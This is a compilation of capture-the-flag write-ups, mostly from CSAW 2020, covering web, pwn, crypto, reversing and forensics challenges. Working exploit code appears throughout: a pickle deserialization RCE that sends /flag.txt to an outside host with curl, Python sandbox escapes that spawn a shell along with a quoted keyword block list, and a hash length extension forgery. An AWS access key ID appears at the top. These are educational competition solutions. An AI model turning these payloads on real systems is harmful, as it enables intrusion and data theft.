BUCKET = 'super-top-secret-dont-look'REGION = 'us-east-2'CREDS = 'AKIAQHTF3NZUTQBCUQCK' EXPIRES = 604800SIGNATURE = '3560cef4b02815e7c5f95f1351c1146c8eeeb7ae0aff0adc5c106f6488db5b6b'
url = generate_presigned_s3_get(BUCKET,'.sorry/.for/.nothing/flag.txt', REGION, EXPIRES, CREDS, SIGNATURE)r = requests.get(url)print(r.text)``` |
# flask_caching (Web, 300 points)
> cache all the things (this is python3)> http://web.chal.csaw.io:5000
This challenge serves up a Flask web application where we are able to upload a note with a title and file, which it puts into the Redis database. It alsouses `flask_caching` on many endpoints just because. The source code wasprovided in `app.py` and the relevant parts are included below:
```[email protected]('/', methods=['GET', 'POST'])def notes_post(): if request.method == 'GET': return ''' <h4>Post a note</h4> <form method=POST enctype=multipart/form-data> <input name=title placeholder=title> <input type=file name=content placeholder=content> <input type=submit> </form> '''
title = request.form.get('title', default=None) content = request.files.get('content', default=None)
if title is None or content is None: return 'Missing fields', 400
content = content.stream.read()
if len(title) > 100 or len(content) > 256: return 'Too long', 400
redis.setex(name=title, value=content, time=30) # Note will only live for max 30 seconds
return 'Thanks!'
# This caching stuff is cool! Lets make a bunch of cached [email protected](timeout=30)def _test0(): return 'test'@app.route('/test0')def test0(): _test0() return 'test'# more cached functions of the same form```
We have control over the key and content going into Redis, so it seems that weprobably want to leverage that to exploit this app.
The trick is to dig into how flask_caching serializes objects and deserializesthem when it pulls them out of the cache. It turns out it uses pickle to do so,which is fairly simple to leverage into an RCE.
```# From flask_caching/backends/rediscache.pydef load_object(self, value): """The reversal of :meth:`dump_object`. This might be called with None. """ if value is None: return None if value.startswith(b"!"): try: return pickle.loads(value[1:]) except pickle.PickleError: return None try: return int(value) except ValueError: # before 0.8 we did not have serialization. Still support that. return value```
Next we need to find out what key we need to override so that when we hit oneof the cached endpoints it will load out object from the cache and trigger ourRCE. I did this by running the app locally, modifying flask_caching directly,and logging what keys it was using. I further confirmed this by checking thekeys in my local Redis.
Once we know the key we want to use, it's time to write up the exploit! Here'swhat it looks like:
```from pwn import *import requestsimport pickleimport os
# URL = "http://localhost:5000"URL = "http://web.chal.csaw.io:5000"CACHE_TARGET = "test29"
# I tried various ways to get a full shell but wasn't able to get the connection# made back to my host, so I used command interpolation with curl instead.class RCE: def __reduce__(self): return os.system, ("curl https://postb.in/1599997843300-8184462329372 --data \"$(cat /flag.txt)\"",)
payload = b"!" + pickle.dumps(RCE())files = { 'content': payload }data = { 'title': 'flask_cache_view//'+CACHE_TARGET }res = requests.post(URL, data=data, files=files)log.success("Exploit payload uploaded")
log.success("Triggering exploit")res = requests.get(URL+"/"+CACHE_TARGET)print("GET", res.text)```
Now when we check out postb.in, we get the flag! |
# adversarial (Crypto, 200 points)
> You have a new mission from HQ to hunt down some rogue flags. Check the> details in the assignment. Find something good, and you'll be rewarded with> one better> HINT: flags you discover are not in flag format.> nc crypto.chal.csaw.io 5000
In this challenge you are provided an `assignment.txt` file with a series ofciphertexts and a description of how they were encrypted. In particular, it'simportant to see how they were encrypted. The relevant content is includedbelow:
```pythonKEY = os.environ['key']IV = os.environ['iv']
secrets = open('/tmp/exfil.txt', 'r')
for pt in secrets: ctr = Crypto.Util.Counter.new(128, initial_value=long(IV.encode("hex"), 16)) cipher = Crypto.Cipher.AES.new(KEY, Crypto.Cipher.AES.MODE_CTR, counter=ctr) ciphertext = cipher.encrypt(pt) send(ciphertext.encode("base-64"))```
We can see that they are using AES-CTR-128 with a static key and IV. The issuehere is that the IV is static. With AES-CTR it's critical that you use a randomIV, otherwise it's basically a one-time pad and reusing a key with a one-timepad is well... not a one time pad, and not secure.
The solution to this challenge is basically that of [Cryptopals Challenge20](https://cryptopals.com/sets/3/challenges/20). It works as follows:
1. Create a series of "pseudo-blocks" made up of the bytes from all ciphertexts at the same index. So if we have two ciphertexts that are one block long, we iterate over each byte and create blocks like `block[i] = [ciphertext[0][i], ciphertext[1][i]]`.1. Next we brute force the one-byte key for each block and use the frequency of ascii characters to make a best guess at what the key is.1. Lastly we concatenate all the bytes of the key into a key, and decrypt the actual ciphertexts. If our frequencies are good enough, we'll get some plaintext.
The trickiest part of this is getting the frequencies right, in my solution I was lazy and just kept pulling different frequencies from solutions to similarproblems online until one of them worked, hence the quite unexpected numbers init XD. But it works well enough.
One you do that, run the exploit script to get the "flag", submit it to theserver mentioned in the description for the actual flag.
```sh$ python3 exploit.pyFound 20 ciphertextsPLAINTEXTSwhat is real? How do you define real? If <ou're tal.ing abou9 what you can feel, 2hat yox can smneo, sooner or later you're going to real,ze, just $s I did,mthat there's a diffe7ence bhtween kthe flag is: 4fb81eac0729a -- The flag is\x7f 4fb81eacu729a -- \x19e flag is: 4fb81eacu729a - The flmessage 86831. Test message 86831. Test m ssage 868v1. Test essage 86831. Test m ssage 56831. Ti am the Architect. I created the Matrix.eI have be n waitin* for you. You have m$ny que~tions aattack at dawn. Use the address 37.9257 1u.2036 193|.283 - D" not reply to this m ssage.-Attackhave you ever had a dream Neo, that you w re so sur was rea!? What if you were u+able tb wake fwhich brings us at last to the moment of 1ruth, whe7ein the +undamental flaw is u)timateay expremessage 64023. Test message 64023. Test m ssage 640w3. Test essage 64023. Test m ssage ;4023. Tunfortunately, no one can be told what th Matrix i6. You ha;e to see it for your6elf. Teis is ythe Matrix is older than you know. I pref r countin" from th( emergence of one in1egral lnomalythe Matrix is a system, Neo. That system ,s our ene(y. But w%en you're inside, yo0 look lround,the flag is: 4fb81eac0729a -- The flag is\x7f 4fb81eacu729a -- \x19e flag is: 4fb81eacu729a - The flsentient programs. They can move in and o0t of any 6oftware >till hard-wired to t-eir sy~tem. Thzion Keys: 8 - F - A - Q - 1 - Z - R - Z h B - Z - \x17- R - Rc Repeat: 8 - F - A -eQ - 1 Z - Ri won't lie to you, Neo. Every single maneor woman 2ho has s9ood their ground, ev ryone zho hasplease. As I was saying, she stumbled upo+ a soluti*n whereb4 nearly 99% of all t st subgects aci've seen an agent punch through a concre1e wall. M n have e ptied entire clips a1 them lnd hiteverything that has a beginning has an en!. I see t-e end co ing. I see the darkn ss sprhading.test message 10592. Test message 10592. T st messag 10592. \x19st message 10592. T st mes~age 105```
## Exploit Script
```pythonfrom pwn import *from collections import Counter
# I manually created this file by pulling all the base64 ciphertexts into a# newline separated file for easier parsing.CIPHERTEXTS_FILE = "./ciphertexts.txt"BLOCK_SIZE = 16
def parse_ciphertexts(): ciphertexts_file = open(CIPHERTEXTS_FILE, "r") ciphertexts = [] current_ciphertext_b64 = "" for line in ciphertexts_file.readlines(): if line == "\n": ciphertexts.append(b64d(current_ciphertext_b64)) current_ciphertext_b64 = "" continue current_ciphertext_b64 += line[:-1] return ciphertexts
def get_chunks(l, n): n = max(1, n) return list((l[i:i+n] for i in range(0, len(l), n)))
freq = {}freq[' '] = 700000000freq['e'] = 390395169freq['t'] = 282039486freq['a'] = 248362256freq['o'] = 235661502freq['i'] = 214822972freq['n'] = 214319386freq['s'] = 196844692freq['h'] = 193607737freq['r'] = 184990759freq['d'] = 134044565freq['l'] = 125951672freq['u'] = 88219598freq['c'] = 79962026freq['m'] = 79502870freq['f'] = 72967175freq['w'] = 69069021freq['g'] = 61549736freq['y'] = 59010696freq['p'] = 55746578freq['b'] = 47673928freq['v'] = 30476191freq['k'] = 22969448freq['x'] = 5574077freq['j'] = 4507165freq['q'] = 3649838freq['z'] = 2456495
def do_score(candidate: bytes) -> int: total_score = 0 for byte in candidate: char_score = freq.get(chr(byte), 0) total_score += char_score return total_score
def find_xor_key(i, block): best_key = None best_score = 0 best_cand = None for k in range(256): candidate = xor(block, bytes([k])) score = do_score(candidate) if score > best_score: best_score = score best_key = k best_cand = candidate return bytes([best_key])
def exploit(): ciphertexts = parse_ciphertexts() print("Found {} ciphertexts".format(len(ciphertexts)))
min_len = 99999999 for ct in ciphertexts: if len(ct) < min_len: min_len = len(ct) num_blocks_to_solve = min_len % BLOCK_SIZE
# Transpose into blocks of byte 0 of every block, byte 1 of every block, etc. # Each block will all encrypted with the same key. pseudo_blocks = [[b"" for _ in range(BLOCK_SIZE)] for _ in range(num_blocks_to_solve)] for ct in ciphertexts: blocks = get_chunks(ct, BLOCK_SIZE) for (block_i, block) in enumerate(blocks[:num_blocks_to_solve]): for (byte_i, byte) in enumerate(block): pseudo_blocks[block_i][byte_i] += bytes([byte])
# Search though the blocks to find the best candidate key for each block_keys = [] for (block_i, block) in enumerate(pseudo_blocks): key = b"" for byte_block in block: key += find_xor_key(block_i, byte_block) block_keys.append(key)
# Use the keys to decrypt each block print("PLAINTEXTS") for ct in ciphertexts: blocks = get_chunks(ct, BLOCK_SIZE) plaintext = b"" for (i, key) in enumerate(block_keys): # plaintext += xor(blocks[i], key) plaintext += xor(key, blocks[i]) print(plaintext.decode("unicode_escape"))
exploit()``` |
## slithery [100]*Setting up a new coding environment for my data science students. Some of them are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you help test this before I use it for my class? Two sandboxes should be better than one...*
`nc pwn.chal.csaw.io 5011`
Files: `sandbox.py`### SolutionThis challenge is **extremely poorly made** (no offense intended). But before I get into that, let's have a look at the source code for `sandbox.py`:
```python#!/usr/bin/env python3from base64 import b64decodeimport blacklist # you don't get to see this :pdef main(): print("EduPy 3.8.2") while True: try: command = input(">>> ") if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!") final_cmd = """uOaoBPLLRN = open("sandbox.py", "r")uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command exec(final_cmd) except (KeyboardInterrupt, EOFError): return 0 except Exception as e: print(f"Exception: {e}")
if __name__ == "__main__": exit(main())```We can play around with it for a bit:```pythonEduPy 3.8.2>>> lsException: name 'ls' is not defined>>> import osException: not allowed!!>>> print('hi')hi```In this challenge, you have a restricted python `exec()` shell that has a blacklist of unallowed strings, full list enumerated here:```pythonBLACKLIST = [ "__builtins__", "__import__", "eval", "exec", "import", "from", "os", "sys", "system", "timeit", "base64" "commands", "subprocess", "pty", "platform", "open", "read", "write", "dir", "type", ]# a less restrictive blacklist for the 2nd sandbox. Player can use any other payload to read the flag.txt on server.BLACKLIST2 = [ "eval", "exec", "import", "from", "timeit", "base64" "commands", "subprocess", "pty", "platform", "write", "dir", "type", ]```We'll get back to BLACKLIST later. For now, let's have a look at the `exec()`'d code:```pythonuOaoBPLLRN = open("sandbox.py", "r") # file descriptoruDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8) #1ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ") # ['from', 'base64', 'import', 'b64decode']AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU] #'base64'bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]#'b64decode'uOaoBPLLRN.close()HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg) # !!! base64.b64decode()RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8')) # numpy# Your command here````BLACKLIST` only includes plaintext words. Because we have access to `base64.b64decode == HrjYMvtxwA`, we can send in any string to the shell as a base64-encoded value:```python>>> print('system')Exception: not allowed!!>>> print(HrjYMvtxwA(b'c3lzdGVt').decode())system````__import__` might be blacklisted, but `getattr()` isn't, and many objects in python have `__builtins__` as an attribute, which *in turn* has `__builtins__.__dict__['__import__'] == __import__`. All we need to do is to call `getattr(__import__('os'), 'system')('/bin/sh')`.```python>>> builtins = getattr(RMbPOQHCzt, HrjYMvtxwA(b'X19idWlsdGluc19f').decode())>>> imp0rt = builtins[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode()]>>> sYstem = getattr(imp0rt(HrjYMvtxwA(b'b3M=').decode()), HrjYMvtxwA(b'c3lzdGVt').decode())>>> sYstem(HrjYMvtxwA(b'L2Jpbi9zaA=='))lsblacklist.pyflag.txtrunner.pysandbox.pysolver.py```
### Wait, but what about the whole "Two sandboxes" thing?Irrelevent. According to the remote server's `solver.py`, we were supposed to initiate a *segfault due to a null dereference* in numpy, and then continue on to pierce a *second* sandbox!
Yeah. This was their solution:```pythonp = remote("localhost", "8000")numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"
p.sendlineafter(">>> ", numpy_escape)p.sendlineafter(">> ", py_escape)p.interactive()```
Other contestants had even faster solutions! [I suggest reading them all](https://ctftime.org/task/12994) to get a sense of how easy python jailbreaking can get.### Flag`flag{y4_sl1th3r3d_0ut} |
# Perfect Secrecy (Crypto, 50 points)
> Alice sent over a couple of images with sensitive information to Bob,> encrypted with a pre-shared key. It is the most secure encryption scheme,> theoretically...
This challenge gives you two png images and asks you to find the flag. It tellsyou that they used the same key to encrypt both and used "the most theoreticallysecure encryption scheme" and the challenge is called "Perfect Secrecy".
The encryption scheme that provides perfect secrecy and is theoreticallyperfect, is the one-time pad. This scheme is just `key XOR message`. The issuewith using the same key more than once is that if you XOR two ciphertextstogether, the key cancels out and you are left with the difference between theplaintexts which leaks information.
```ct1 XOR ct2==key XOR msg1 XOR key XOR msg2==msg1 XOR msg2```
Knowing that they reused the key on these images, we XOR them together and storethe resulting image, which contains the flag. It's base64 encoded but it's easy to decode.
```pythonfrom PIL import Image, ImageChops
im1 = Image.open("image1.png")im2 = Image.open("image2.png")
result = ImageChops.logical_xor(im1,im2)result.save('result.png')```
 |
There are two endpoints in this challenge: `/new` and `/view`. We have to become admin to get the flag back from the server.with `/new` we can create a note. We have to provide an author and the note content. The server signs our parameters using the SHA1 algorithm, and later in `/view` checks that the signature we provided is the same. The server also adds `admin=False, access_sensitive=False, entrynum=783` as default to our parameters before signing.
To get the flag, these parameters must be set as the following: `admin=True&access_sensitive=False&entrynum=7`It looks like we can use a hash length extension attack to add some extra parameters at the end, and overwrite admin, access_sensitive and entrynum.
I used hashpumpy to solve this. I extended the id string with `&admin=True&access_sensitive=True&entrynum=7` and set `integrity` to the new sha1 string generated by hashpumpy. One problem I had for a long time is that the server raised exceptions because we send in raw bytes that it cannot utf8 decode. Encoding the string using `unicode-escape` did the trick!
script:```pythonimport hashpumpyimport requestsfrom urllib.parse import quotefrom base64 import b64encode, b64decode
url = 'http://crypto.chal.csaw.io:5003'
res = requests.post(url + '/new', data={"author": "zup", "note": "cool"})print(res.text)
infostr = b64decode(res.text.split()[2].split(':')[0]).strip()sha1 = res.text.split()[2].split(':')[1].strip()print(sha1)print(infostr)
# Bruteforce key lengthfor i in range(256): newsign = hashpumpy.hashpump(sha1, infostr, "&admin=True&access_sensitive=True&entrynum=7", i) print(newsign)
# We need to use unicode-escape because the server prints our extended string and will fail because of invalid utf8 characters newid = newsign[1].decode('unicode-escape').encode('unicode-escape') newsha = newsign[0] print(newid) print(newsha) res = requests.post(url + '/view', data={'id': b64encode(newid), 'integrity': newsha}) print(res.text)
if 'Note' in res.text: break``` |
No captcha required for preview. Please, do not write just a link to original writeup here.[](https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-3) |
# baby_mult50pts
Welcome to reversing! Prove your worth and get the flag from this neat little program!
[program.txt]
## Flag:```flagflag{sup3r_v4l1d_pr0gr4m}```
## Solution
Download text file. It's a bunch of comma seperated values. Values range from 0 to 255. ```shell85, 72, 137, 229, 72, 131, 236, 24, 72, 199, 69, 248, 79, 0, 0, 0, 72, 184, 21, 79, 231, 75, 1, 0, 0, 0, 72, 137, 69, 240, 72, 199, 69, 232, 4, 0, 0, 0, 72, 199, 69, 224, 3, 0, 0, 0, 72, 199, 69, 216, 19, 0, 0, 0, 72, 199, 69, 208, 21, 1, 0, 0, 72, 184, 97, 91, 100, 75, 207, 119, 0, 0, 72, 137, 69, 200, 72, 199, 69, 192, 2, 0, 0, 0, 72, 199, 69, 184, 17, 0, 0, 0, 72, 199, 69, 176, 193, 33, 0, 0, 72, 199, 69, 168, 233, 101, 34, 24, 72, 199, 69, 160, 51, 8, 0, 0, 72, 199, 69, 152, 171, 10, 0, 0, 72, 199, 69, 144, 173, 170, 141, 0, 72, 139, 69, 248, 72, 15, 175, 69, 240, 72, 137, 69, 136, 72, 139, 69, 232, 72, 15, 175, 69, 224, 72, 15, 175, 69, 216, 72, 15, 175, 69, 208, 72, 15, 175, 69, 200, 72, 137, 69, 128, 72, 139, 69, 192, 72, 15, 175, 69, 184, 72, 15, 175, 69, 176, 72, 15, 175, 69, 168, 72, 137, 133, 120, 255, 255, 255, 72, 139, 69, 160, 72, 15, 175, 69, 152, 72, 15, 175, 69, 144, 72, 137, 133, 112, 255, 255, 255, 184, 0, 0, 0, 0, 201```
Suspicious, I used CyberChef for convert decimal charcode values to Hex. Not particularly interesting.
```shellUH.Γ₯H.Γ¬.HΓEΓΈO...HΒΈ.OΓ§K....H.EΓ°HΓEΓ¨....HΓEΓ ....HΓEΓ....HΓEΓ....HΒΈa[dKΓw..H.EΓHΓEΓ....HΓEΒΈ....HΓEΒ°Γ!..HΓE¨ée".HΓEΒ 3...HΓE.Β«..HΓE..Βͺ..H.EΓΈH.Β―EΓ°H.E.H.EΓ¨H.Β―EΓ H.Β―EΓH.Β―EΓH.Β―EΓH.E.H.EΓH.Β―EΒΈH.Β―EΒ°H.Β―EΒ¨H..xΓΏΓΏΓΏH.EΒ H.Β―E.H.Β―E.H..pΓΏΓΏΓΏΒΈ....Γ```
Flavor text from problem suggest that this is a program. So, disassembly? CyberChef has that ...```shellPUSH RBPMOV RBP,RSPSUB RSP,0000000000000018MOV QWORD PTR [RBP-08],0000004FMOV RAX,000000014BE74F15MOV QWORD PTR [RBP-10],RAXMOV QWORD PTR [RBP-18],00000004MOV QWORD PTR [RBP-20],00000003MOV QWORD PTR [RBP-28],00000013MOV QWORD PTR [RBP-30],00000115MOV RAX,000077CF4B645B61MOV QWORD PTR [RBP -38],RAXMOV QWORD PTR [RBP-40],00000002MOV QWORD PTR [RBP-48],00000011MOV QWORD PTR [RBP-50],000021C1MOV QWORD PTR [RBP-58],182265E9MOV QWORD PTR [RBP-60],00000833MOV QWORD PTR [RBP-68],00000AABMOV QWORD PTR [RBP-70],008DAAADMOV RAX,QWORD PTR [RBP-08]IMUL RAX,QWORD PTR [RBP-10]MOV QWORD PTR [RBP-78],RAXMOV RAX,QWORD PTR [RBP-18]IMUL RAX,QWORD PTR [RBP-20]IMUL RAX,QWORD PTR [RBP-28]IMUL RAX,QWORD PTR [RBP-30]IMUL RAX,QWORD PTR [RBP-38]MOV QWORD PTR [RBP-80],RAXMOV RAX,QWORD PTR [RBP-40]IMUL RAX,QWORD PTR [RBP-48]IMUL RAX,QWORD PTR [RBP-50]IMUL RAX,QWORD PTR [RBP-58]MOV QWORD PTR [RBP-00000088],RAXMOV RAX,QWORD PTR [RBP-60]IMUL RAX,QWORD PTR [RBP-68]IMUL RAX,QWORD PTR [RBP-70]MOV QWORD PTR [RBP-00000090],RAXMOV EAX,00000000LEAVE```
Ok, that makes since, "baby multiply". So, what's happening? Stores values in various variables. Then multiply a few things at a time. Then leave? So, what's thje result. Four variables, that when decoded as ascii give the flag:```pythonvar08 = 0x0000004Fvar10 = 0x000000014BE74F15var18 = 0x00000004var20 = 0x00000003var28 = 0x00000013var30 = 0x00000115var38 = 0x000077CF4B645B61var40 = 0x00000002var48 = 0x00000011var50 = 0x000021C1var58 = 0x182265E9var60 = 0x00000833var68 = 0x00000AABvar70 = 0x008DAAAD
var78 = var08 * var10var80 = var18*var20*var28*var30*var38var88 = var40*var48*var50*var58var90 = var60*var68*var70
parts = [var78, var80, var88,var90]for part in parts: print(bytes.fromhex(hex(part)[2:]).decode('ascii'), end='')```
original Writeup: [Github](https://github.com/crr0tz-4-d1nn3r/CTFs/blob/master/CSAW_quals_2020/rev/baby_mult/README.md) |
Flag was contained at the first EEPROM section (0x0). We've analyzed the instruction trace to find useful gadgets. Then we've used buffer overflow vulnerability in "magic function" to pwn the binary and dump sector with a flag.
Full writeup: [https://github.com/p4-team/ctf/tree/master/2020-08-22-google-ctf/registers_matter](https://github.com/p4-team/ctf/tree/master/2020-08-22-google-ctf/registers_matter) |
# slithery (Pwn, 100 points)
> Setting up a new coding environment for my data science students. Some of them> are l33t h4ck3rs that got RCE and crashed my machine a few times :(. Can you> help test this before I use it for my class? Two sandboxes should be better than> one...> > nc pwn.chal.csaw.io 5011
This challenge is a Python jail escape and lucky for me our team had just done one few weekends ago so I was fairly familiar with the tricks to break out. Theyprovided the `sandbox.py` that was running, so we need to figure out how to getaround it. The important part is this but they don't tell us the blacklist.
```pythoncommand = input(">>> ")if any([x in command for x in blacklist.BLACKLIST]): raise Exception("not allowed!!")```
The first step of these challenges is usually to find out what sort of globalsor builtins are available and then figure out how to use them to youradvantage. Nice for us it's not that restricted so we can run the followingcommands to see what globals are available and what's on the blacklist.
```sh>>> print(globals()){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f3f787d1c40>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'sandbox.py', '__cached__': None, 'b64decode': <function b64decode at 0x7f3f7868e940>, 'blacklist': <module 'blacklist' from '/home/slithery/blacklist.py'>, 'main': <function main at 0x7f3f786dedc0>}
>>> print(blacklist.BLACKLIST)['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']```
Because it only checks our input for full-words matches in the blacklist, we canbypass that by concatenating strings and open up a shell. Running our exploit:
```sh$ python3 exploit.py[+] Opening connection to pwn.chal.csaw.io on port 5011: Done[*] Switching to interactive mode$ iduid=1000(slithery) gid=1000(slithery) groups=1000(slithery)$ cat flag.txtflag{y4_sl1th3r3d_0ut}```
## Exploit Script
```pythonfrom pwn import *
def exploit(): try: io = remote("pwn.chal.csaw.io", 5011) p = "globals()['_'+'_builtins__'].__dict__['__i'+'mport__']('o'+'s').__dict__['s'+'ystem']('sh')" io.sendlineafter(">>> ", p) io.interactive() finally: io.close()
exploit()```
|
We have to send in some plaintext to encrypt, and get ciphertext back.Then we have to classify if the cipher used is AES ECB or CBC.
If we send in a lot of a's, for example 128 a's, we can determine if this is ECB. This is because it encrypts block by block using the same key (without using the result of previous blocks to encrypt the next blocks like CBC).
If the first 64 hex characters of the ciphertext is the same as the last 64, that means this is ECB. Below is a script that classify the cipher used. When we get it right, it asks us to send in more plaintext and classify even more ciphers.After 176 rounds it just stops. Wait, where is our flag?
After doing some exploration, I had an idea to write a binary string based on if it was ECB or CBC. If it is ECB add a 0, and if it is CBC add a 1.After all of the rounds we try to decode this back to ascii, and we get the flag!
script:```python#!/usr/bin/env python3from pwn import *
input = "a"*128binstring = ""
r = remote('crypto.chal.csaw.io', 5001)
r.recvline()for i in range(0,200): r.recvline() r.sendline(input)
encrypted = r.recvline() encrypted = encrypted[16:].decode().strip()
r.recvuntil("ECB or CBC?") log.info(encrypted[:64]) log.info(encrypted[64:128])
if encrypted[:64] == encrypted[64:128]: binstring += "0" r.sendline("ECB") else: binstring += "1" r.sendline("CBC")
log.info(binstring) log.info(f"Count: {i}") if (i == 175): r.close() flag = "".join([chr(int(binstring[i:i+8], 2)) for i in range(0, len(binstring), 8)]) log.success(flag) break else: r.recvline().decode()``` |
# modulus_operandi
Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy)
# Requirements
- Python
# Source
```Can't play CSAW without your favorite block cipher!
nc crypto.chal.csaw.io 5001```
# Exploitation
The exploit is based on the fact that the ciphertext generated using ECB will have repeating blocks because of the way it works, while CBC will not have such blocks.
The following script can be used to get the flag.
```pyfrom pwn import remote
l = []
def connect(): r = remote('crypto.chal.csaw.io', 5001)
print(r.recvuntil('\n').decode())
return r
def send(r, x): r.sendline(x) print(x)
def run(r): x = r.clean() print(x) # Enter plaintext
send(r, 'a' * 64)
print(r.recvuntil('Ciphertext is: ')) x = r.recvline().decode() # Ciphertext value print(x)
if x[0:32] == x[32:64]: mode = 'ECB' l.append(0) else: mode = 'CBC' l.append(1)
print(r.recvline()) # ECB or CBC
send(r, mode)
def solve(): r = connect()
i = 0 while True: try: run(r) except: print(i) print(r.recvall()) print(l) exit(1) i+=1
r.interactive()
solve()
'''[0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1]'''```
In this list, ECB is 0 and CBC is 1. You can then group these into 8 and treat them as binary to get the flag.
```py>>> ''.join([chr(int(''.join(map(str, l[0+i:8+i])), 2)) for i in range(0, len(l), 8)])'flag{ECB_re@lly_sUck$}'``` |
## Identity Fraud
**Category:** OSINT**Points:** 419**Author:** Cyb3rDoctor**Description:**
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
> Flag Format: Eword{} |
## Memory 4### Tags: Memory Forensics, Volatility, Memory Dump, Registry, Subkey, Key, Value, Hive, Windows 7
I didn't do the previous Memory challenge because it was solved by another teammate.
[Volatility](https://github.com/volatilityfoundation/volatility) is a great tool for memory forensics, it has many modules and commands to explore a memory dump. You should experiment with it if you're just starting in forensics territory. The `imageinfo` command, which spits out the probable OS of the memory dump, gave us info that this is a Windows 7 64-bit. So we're using `Win7SP1x64` profile from now on.
This challenge is pretty tricky, the only clue it gave us only```Since i'm a geek, i hide my secrets in weird places```That's it. In a computer, where do geeks hid their secrets? It's a pretty vague, I didn't have any clue on what to do. So I see what might a geek do in their computer. Several failed attempts, I discovered a `printkey` command on Volatility. I naively use the command by entering:```python vol.py -f ../../FWord/foren.raw --profile=Win7SP1x64 printkey```
This command outputs every registry entered to the system and its subkeys. So it printed out all the registry.
```...Registry: \Device\HarddiskVolume1\Boot\BCDKey name: NewStoreRoot (S)Last updated: 2020-08-26 09:10:18 UTC+0000
Subkeys: (S) Description (S) Objects
Values:----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: CMI-CreateHive{D43B12B8-09B5-40DB-B4F6-F6DFEB78DAEC} (S)Last updated: 2020-08-26 09:11:20 UTC+0000
Subkeys: (S) AppEvents (S) Console (S) Control Panel (S) Environment (S) EUDC (S) FLAG (S) Identities (S) Keyboard Layout (S) Network (S) Printers (S) Software (S) System (V) Volatile Environment
Values:----------------------------Registry: \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat...```
One particular registry has a FLAG subkey which obviously interesting. So I ran `hivelist` command to get the virtual offset of the registry location to print the subkey value:```python vol.py -f ../../FWord/foren.raw --profile=Win7SP1x64 hivelist``````...0xfffff8a0014da410 0x00000000275c0410 \SystemRoot\System32\Config\SAM0xfffff8a0033fe410 0x0000000069de6410 \??\C:\Users\SBA_AK\ntuser.dat0xfffff8a0036e7010 0x0000000069188010 \??\C:\Users\SBA_AK\AppData\Local\Microsoft\Windows\UsrClass.dat0xfffff8a0038fe280 0x0000000068390280 \??\C:\System Volume Information\Syscache.hve...```
Now to print the flag:```python vol.py -f ../../FWord/foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'````-o` for the virtual offset of the registry which we got from `hivelist`, and `-K` to tell which subkey we would like to see the value.```Legend: (S) = Stable (V) = Volatile
----------------------------Registry: \??\C:\Users\SBA_AK\ntuser.datKey name: FLAG (S)Last updated: 2020-08-25 18:45:05 UTC+0000
Subkeys:
Values:REG_SZ : (S) FwordCTF{hiding_secrets_in_regs}```After this solved, it just started to make sense that "Geeks" like to bother up with "registry". Well if you messing with any system you're technically also a "Geek"... |
# Prehistoric Mario
## Category: Reverse Engineering - Medium
In this challenge, the user must win an Android Mario-like game.
### The game
To start the challenge, the APK has first been installed on an emulated Android created with AVD manager.
To do so, `adb` was used on the running device with the command:
```bashadb install prehistoric-mario.apk```
Once the game is launched, here is an overview of what it looks like:
The user is a dinosaur who can only go right and left, crouch or jump.
The map seems to be quite small and is composed of either walls or interrogative boxes.
